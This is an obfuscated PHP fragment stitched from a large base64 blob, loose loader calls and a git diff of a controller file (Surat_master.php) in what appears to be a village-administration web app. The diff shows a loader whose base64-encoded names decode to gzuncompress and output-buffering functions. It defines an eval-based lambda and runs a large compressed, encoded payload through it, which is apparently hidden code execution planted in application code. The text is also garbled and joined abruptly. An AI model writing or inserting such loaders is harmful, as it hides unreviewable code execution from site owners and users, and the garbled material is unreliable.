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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Surat_master.php b/donjo-app/controllers/Surat_master.php index e418f69a5..8deace023 100644 --- a/donjo-app/controllers/Surat_master.php +++ b/donjo-app/controllers/Surat_master.php @@ -256,7 +256,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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